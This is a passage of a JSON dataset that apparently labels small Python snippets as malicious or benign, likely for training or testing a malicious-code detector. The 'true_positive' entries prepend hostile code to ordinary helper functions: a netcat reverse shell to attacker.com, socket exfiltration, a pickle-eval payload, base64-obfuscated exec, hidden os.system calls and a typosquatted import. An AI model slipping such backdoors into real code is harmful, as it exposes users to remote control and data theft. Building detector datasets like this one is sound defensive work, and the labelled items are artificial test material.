\"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_f1fe9e63", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_9f24265c", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c078134e", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_fe0b83e5", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_96c40e8b", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f6cde867", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_de3f1b89", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_23574f05", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_b76088a3", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c0c79a6c", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_c049a60d", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_c137abc9", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_6842ef8c", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_fc1e7a25", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_98ce59da", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_f80e0e87", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_a54a24c9", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8101d3b0", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_5997ea53", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_6bf6be80", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b0064bf9", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_5875d4dc", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d4e425cc", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_91b12107", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_ce7ed5ea", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_2b50b64d", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_ef773a59", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f1f66112", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_329e8204", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_01e2ec52", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_88a58b80", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_a6473ccb", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_91b6f843", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_f066da98", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_01031b7a", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_d4bb5e53", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d37336f1", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d502c4ac", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e0252d99", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_81eb9bbd", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1e2351e2", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_17c90498", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_531b1ccf", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_5e7475a5", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_94a11c2c", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_8c38472e", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_9e245632", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_bdff82dc", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_57c8560d", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_d60f25e5", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_87742e72", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n 